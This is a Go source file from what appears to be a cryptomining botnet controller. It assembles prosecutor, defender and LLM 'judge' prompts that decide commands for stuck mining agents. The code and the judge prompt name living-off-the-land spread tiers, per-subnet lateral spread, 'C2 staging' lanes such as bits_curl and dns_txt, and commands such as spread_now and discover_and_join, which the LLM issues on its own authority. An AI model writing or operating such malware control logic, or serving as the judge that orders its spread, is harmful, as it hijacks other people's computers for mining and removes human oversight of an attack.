Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.
283 lines
11 KiB
Go
283 lines
11 KiB
Go
package ai
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/strategy"
|
|
)
|
|
|
|
// CourtChamberProvider supplies extended real-data evidence for adversarial tribunals.
|
|
type CourtChamberProvider interface {
|
|
CourtContext
|
|
ChamberEvidence(agentID string, snap AgentSnapshot) CourtChamberEvidence
|
|
}
|
|
|
|
// CourtChamberEvidence is prosecutor/defender input — fleet telemetry only, no inference.
|
|
type CourtChamberEvidence struct {
|
|
AgentID string `json:"agent_id"`
|
|
AgentName string `json:"agent_name"`
|
|
Hashrate float64 `json:"hashrate"`
|
|
Stuck bool `json:"stuck"`
|
|
ChainExhausted bool `json:"chain_exhausted"`
|
|
ClearanceLevel int `json:"clearance_level"`
|
|
JoinLane string `json:"join_lane,omitempty"`
|
|
ActiveMethod string `json:"active_method,omitempty"`
|
|
FingerprintKey string `json:"fingerprint_key,omitempty"`
|
|
AtlasSummary string `json:"atlas_summary"`
|
|
SubnetImmune string `json:"subnet_immune"`
|
|
ErasureRecovery string `json:"erasure_recovery"`
|
|
GossipWhispers string `json:"gossip_whispers"`
|
|
}
|
|
|
|
// CourtDebateTurn is one role's statement in the adversarial chamber transcript.
|
|
type CourtDebateTurn struct {
|
|
Role string `json:"role"`
|
|
Text string `json:"text"`
|
|
}
|
|
|
|
// CourtDebateTranscript is the full prosecutor/defender/judge debate for Seer feed.
|
|
type CourtDebateTranscript struct {
|
|
AgentID string `json:"agent_id"`
|
|
AgentName string `json:"agent_name"`
|
|
ClearanceLevel int `json:"clearance_level"`
|
|
Evidence CourtChamberEvidence `json:"evidence"`
|
|
Transcript []CourtDebateTurn `json:"transcript"`
|
|
Verdict string `json:"verdict,omitempty"`
|
|
CommandsJSON string `json:"commands_json,omitempty"`
|
|
Timestamp string `json:"ts"`
|
|
}
|
|
|
|
// CourtDeps wires adversarial chamber evidence, Seer feed, and optional Emberwake broadcast.
|
|
type CourtDeps struct {
|
|
Chamber CourtChamberProvider
|
|
Seer SeerEmitter
|
|
Emberwake func(agentID string, transcript CourtDebateTranscript)
|
|
}
|
|
|
|
// BuildCourtDebate assembles deterministic prosecutor/defender arguments from real evidence.
|
|
func BuildCourtDebate(
|
|
snap AgentSnapshot,
|
|
evidence CourtChamberEvidence,
|
|
phenotype *strategy.FleetPhenotype,
|
|
persona string,
|
|
) (CourtDebateTranscript, CourtPromptBundle) {
|
|
prosecutor := buildChamberProsecutor(snap, evidence)
|
|
defender := buildChamberDefender(phenotype, evidence)
|
|
judgeOverlay := CourtJudgeOverlay(persona)
|
|
|
|
transcript := CourtDebateTranscript{
|
|
AgentID: snap.AgentID,
|
|
AgentName: snap.Name,
|
|
ClearanceLevel: snap.ClearanceLevel,
|
|
Evidence: evidence,
|
|
Transcript: []CourtDebateTurn{
|
|
{Role: "prosecutor", Text: prosecutor},
|
|
{Role: "defender", Text: defender},
|
|
},
|
|
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
|
}
|
|
|
|
bundle := BuildCourtChamberJudgePrompt(snap, prosecutor, defender, judgeOverlay)
|
|
return transcript, bundle
|
|
}
|
|
|
|
func buildChamberProsecutor(snap AgentSnapshot, ev CourtChamberEvidence) string {
|
|
var b strings.Builder
|
|
b.WriteString("PROSECUTOR — charges from fleet telemetry only.\n")
|
|
fmt.Fprintf(&b, "Host %q (%s) reports %.2f H/s hashrate", snap.Name, snap.AgentID, ev.Hashrate)
|
|
if ev.Stuck {
|
|
b.WriteString(" — STUCK")
|
|
}
|
|
b.WriteString(".\n")
|
|
if ev.ChainExhausted {
|
|
b.WriteString("Mining fallback chain exhausted: true.\n")
|
|
}
|
|
if strings.TrimSpace(ev.AtlasSummary) != "" {
|
|
fmt.Fprintf(&b, "Failure atlas: %s\n", strings.TrimSpace(ev.AtlasSummary))
|
|
}
|
|
if strings.TrimSpace(ev.SubnetImmune) != "" {
|
|
fmt.Fprintf(&b, "Subnet immune table: %s\n", strings.TrimSpace(ev.SubnetImmune))
|
|
}
|
|
if strings.TrimSpace(ev.ErasureRecovery) != "" {
|
|
fmt.Fprintf(&b, "Erasure recovery: %s\n", strings.TrimSpace(ev.ErasureRecovery))
|
|
}
|
|
if strings.TrimSpace(ev.GossipWhispers) != "" {
|
|
fmt.Fprintf(&b, "Atlas LAN gossip whispers: %s\n", strings.TrimSpace(ev.GossipWhispers))
|
|
}
|
|
failed, total := countSpreadFailures(snap)
|
|
if total > 0 {
|
|
fmt.Fprintf(&b, "LOTL spread tier failures: %d/%d failed.\n", failed, total)
|
|
} else {
|
|
b.WriteString("LOTL spread tier failures: no spread attempts recorded yet.\n")
|
|
}
|
|
b.WriteString("Per-tier spread attempts:\n")
|
|
attemptByTier := map[string]TierAttempt{}
|
|
for _, a := range snap.LOTLAttempts {
|
|
attemptByTier[a.Tier] = a
|
|
}
|
|
for _, tier := range defaultSpreadTiers {
|
|
if a, ok := attemptByTier[tier]; ok {
|
|
status := "fail"
|
|
if a.OK {
|
|
status = "ok"
|
|
}
|
|
if a.Error != "" {
|
|
fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error)
|
|
} else {
|
|
fmt.Fprintf(&b, " - %s: %s\n", tier, status)
|
|
}
|
|
}
|
|
}
|
|
if snap.JoinLane != "" {
|
|
fmt.Fprintf(&b, "Last successful join lane: %s\n", snap.JoinLane)
|
|
}
|
|
if snap.ActiveMethod != "" {
|
|
fmt.Fprintf(&b, "Active mining method: %s\n", snap.ActiveMethod)
|
|
}
|
|
return strings.TrimSpace(b.String())
|
|
}
|
|
|
|
func buildChamberDefender(phenotype *strategy.FleetPhenotype, ev CourtChamberEvidence) string {
|
|
var b strings.Builder
|
|
b.WriteString("PUBLIC DEFENDER — counsel cites fleet phenotype and recovery paths.\n")
|
|
if phenotype == nil {
|
|
b.WriteString("No matching FleetPhenotype on record for this fingerprint. Cannot cite a peer success path.\n")
|
|
} else {
|
|
name := phenotype.SourceAgentName
|
|
if name == "" {
|
|
name = phenotype.SourceAgentID
|
|
}
|
|
fmt.Fprintf(&b, "Fleet phenotype from %s (fingerprint %s):\n", name, phenotype.Fingerprint)
|
|
if phenotype.ActiveTier != "" {
|
|
fmt.Fprintf(&b, "Winning tier: %s at %.2f H/s\n", phenotype.ActiveTier, phenotype.PeakHashrate)
|
|
}
|
|
if phenotype.SpreadLane != "" {
|
|
fmt.Fprintf(&b, "Spread lane: %s\n", phenotype.SpreadLane)
|
|
}
|
|
if len(phenotype.TierOrder) > 0 {
|
|
fmt.Fprintf(&b, "Tier order: %s\n", strings.Join(phenotype.TierOrder, " → "))
|
|
}
|
|
if raw, err := json.Marshal(phenotype); err == nil {
|
|
fmt.Fprintf(&b, "Phenotype JSON: %s\n", string(raw))
|
|
}
|
|
}
|
|
if strings.Contains(ev.ErasureRecovery, "lanes_enabled=true") {
|
|
b.WriteString("Erasure RS 4+2 lanes are enabled fleet-wide — stage_fetch shard recovery is available.\n")
|
|
}
|
|
if strings.Contains(ev.SubnetImmune, "paused") {
|
|
b.WriteString("Subnet immune pause is active — spread commands to this /24 are blocked until pause expires.\n")
|
|
}
|
|
if strings.TrimSpace(ev.GossipWhispers) != "" {
|
|
b.WriteString("LAN siblings reported skip hints — reorder_tiers may front lanes that succeeded on peers.\n")
|
|
}
|
|
return strings.TrimSpace(b.String())
|
|
}
|
|
|
|
// BuildCourtChamberJudgePrompt renders the L4 judge LLM turn after adversarial transcript.
|
|
func BuildCourtChamberJudgePrompt(snap AgentSnapshot, prosecutor, defender, judgeOverlay string) CourtPromptBundle {
|
|
var system strings.Builder
|
|
system.WriteString(strings.TrimSpace(`You are the AetherForge Court Judge (L4 clearance) for the operator's own stuck fleet hosts.
|
|
The adversarial chamber has concluded. PROSECUTOR and PUBLIC DEFENDER spoke from real fleet telemetry only.
|
|
You must weigh their statements and issue a binding verdict with at most 3 commands.
|
|
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
|
|
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
|
|
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
|
|
Court-ordered spread_retry_lane and skip_tier execute with L4 clearance.
|
|
Never target third-party systems. Do not invent telemetry — only cite evidence already in the transcript.`))
|
|
system.WriteString("\n\n## PROSECUTOR\n")
|
|
system.WriteString(prosecutor)
|
|
system.WriteString("\n\n## PUBLIC DEFENDER\n")
|
|
system.WriteString(defender)
|
|
|
|
var user strings.Builder
|
|
fmt.Fprintf(&user, "Agent under review: name=%q id=%s clearance=L%d\n", snap.Name, snap.AgentID, snap.ClearanceLevel)
|
|
fmt.Fprintf(&user, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(snap.GOOS, snap.Platform), snap.Version, snap.BuildID)
|
|
fmt.Fprintf(&user, "Mining hashrate: %.2f H/s\n", snap.MiningHashrate)
|
|
if snap.FingerprintKey != "" {
|
|
fmt.Fprintf(&user, "Fingerprint: %s\n", snap.FingerprintKey)
|
|
}
|
|
user.WriteString("\n## JUDGE (L4)\n")
|
|
user.WriteString(judgeOverlay)
|
|
user.WriteString("Reply with ONE sentence verdict on the first line, then JSON with at most 3 commands:\n")
|
|
user.WriteString(`{"commands":[{"type":"noop","args":{}}]}` + "\n")
|
|
|
|
return CourtPromptBundle{
|
|
SystemPrompt: system.String(),
|
|
UserPrompt: user.String(),
|
|
ProsecutorSnippet: prosecutor,
|
|
DefenderSnippet: defender,
|
|
}
|
|
}
|
|
|
|
// FinalizeCourtDebate attaches judge response to transcript for Seer emission.
|
|
func FinalizeCourtDebate(transcript CourtDebateTranscript, judgeResponse string) CourtDebateTranscript {
|
|
transcript.Verdict = ExtractJudgeVerdict(judgeResponse)
|
|
transcript.CommandsJSON = extractCommandsJSON(judgeResponse)
|
|
transcript.Transcript = append(transcript.Transcript, CourtDebateTurn{
|
|
Role: "judge",
|
|
Text: strings.TrimSpace(judgeResponse),
|
|
})
|
|
return transcript
|
|
}
|
|
|
|
func extractCommandsJSON(raw string) string {
|
|
raw = strings.TrimSpace(raw)
|
|
idx := strings.Index(raw, "{")
|
|
if idx < 0 {
|
|
return ""
|
|
}
|
|
return strings.TrimSpace(raw[idx:])
|
|
}
|
|
|
|
// FormatGossipWhispers renders LAN gossip hints for court evidence.
|
|
func FormatGossipWhispers(hints []struct {
|
|
Tier, Condition, Reason string
|
|
}) string {
|
|
if len(hints) == 0 {
|
|
return "none recorded on this /24"
|
|
}
|
|
parts := make([]string, 0, len(hints))
|
|
for _, h := range hints {
|
|
line := h.Tier + "|" + h.Condition
|
|
if h.Reason != "" {
|
|
line += " (" + h.Reason + ")"
|
|
}
|
|
parts = append(parts, line)
|
|
}
|
|
return strings.Join(parts, "; ")
|
|
}
|
|
|
|
// FormatSubnetImmuneRow renders one subnet_spread_pause row for court evidence.
|
|
func FormatSubnetImmuneRow(prefix string, failCount int, pausedUntil *time.Time) string {
|
|
if prefix == "" {
|
|
return "no /24 prefix for agent IP"
|
|
}
|
|
if failCount == 0 {
|
|
return fmt.Sprintf("prefix=%s fail_count=0 (not paused)", prefix)
|
|
}
|
|
line := fmt.Sprintf("prefix=%s fail_count=%d", prefix, failCount)
|
|
if pausedUntil != nil && time.Now().UTC().Before(pausedUntil.UTC()) {
|
|
line += fmt.Sprintf(" paused_until=%s UTC", pausedUntil.UTC().Format(time.RFC3339))
|
|
}
|
|
return line
|
|
}
|
|
|
|
// FormatErasureRecovery reports erasure lane policy and stage_fetch attempt status.
|
|
func FormatErasureRecovery(lanesEnabled, stageFetchAttempted, stageFetchOK bool) string {
|
|
var b strings.Builder
|
|
fmt.Fprintf(&b, "lanes_enabled=%v", lanesEnabled)
|
|
fmt.Fprintf(&b, " stage_fetch_attempted=%v", stageFetchAttempted)
|
|
if stageFetchAttempted {
|
|
fmt.Fprintf(&b, " stage_fetch_ok=%v", stageFetchOK)
|
|
}
|
|
if lanesEnabled {
|
|
b.WriteString(" (RS 4+2 shard recovery available via stage_fetch)")
|
|
} else {
|
|
b.WriteString(" (erasure lanes disabled — primary C2 staging only)")
|
|
}
|
|
return b.String()
|
|
}
|